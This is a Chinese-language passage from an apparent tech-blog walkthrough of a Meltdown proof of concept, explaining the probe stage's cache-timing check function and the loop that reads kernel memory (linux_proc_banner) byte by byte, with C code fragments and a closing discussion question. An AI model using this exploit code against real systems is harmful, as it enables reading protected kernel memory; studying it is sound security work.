执行完movzx (%%rbx, %%rax, 1)指令之后,处理器开始处理异常,攻击者则注册一个信号处理器,直接修改程序指针寄存器,将执行位置跳转到stopspeculate指令继续执行即nop指令。
Probe阶段
待Flush阶段与Speculate阶段(包含Reload阶段)做完准备工作后,Probe阶段真正去探测内核地址指向的数据。
也就是执行完speculate函数之后,开始执行check函数,代码如下:
void check(void) { int i, time, mix_i; volatile char *addr; for (i = 0; i < VARIANTS_READ; i++) { mix_i = ((i * 167) + 13) & 255; addr = &target_array[mix_i * TARGET_SIZE]; time = get_access_time(addr); if (time <= cache_hit_threshold) hist[mix_i]++; } }
check函数就是为了检测不同内存数据访问的时间差异来探测被缓存过的数据。简单来说,获取数据就是获取target_array数组索引的过程。
由于target_array的大小为256*4096,所以最多只要测试256次,就可以推测出内核地址指向的数据中的一个字节是否被访问过了。注意,这里为什么是一个字节,前面说过一个字节正好最大可以表示255即256个数。所以要推测出内核地址指向的完整数据,需要不断循环这个过程,也就是下一段代码做的事情:
![]()
for (score = 0, i = 0; i < size; i++) { ret = readbyte(fd, addr); if (ret == -1) ret = 0xff; printf("read %lx = %x %c (score=%d/%d)\n", addr, ret, isprint(ret) ? ret : ' ', ret != 0xff ? hist[ret] : 0, CYCLES); if (i < sizeof(expected) && ret == expected[i]) score++; addr++; }
而readbyte函数会循环调用clflush_target(),speculate(addr),check()。如下代码:
for (i = 0; i < CYCLES; i++) { ret = pread(fd, buf, sizeof(buf), 0); if (ret < 0) { perror("pread"); break; } clflush_target(); speculate(addr); check(); }
这也正是前面讲到的Flush阶段(对应clflush_target()),Speculate阶段(对应speculate函数,其中包含Reload阶段)以及Probe阶段(对应check())。
至此,攻击者窃据数据过程完成。
下图为该POC的运行结果:

该利用程序是一个一个字节读取linux_proc_banner地址中的内容,可以运行cat /proc/version命令对比结果,只要利用Meltdown窃取的数据足够多,窃取的数据和该命令的运行结果是一致的。可见攻击者成功执行攻击。
值得进一步思考的问题
1.该利用代码一次只能探测一个字节的数据,如果在内核数据还没读取完整之前处理器已经处理异常了该怎么办?
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/tongxinshuyu/article-60265-4.html
我就想知道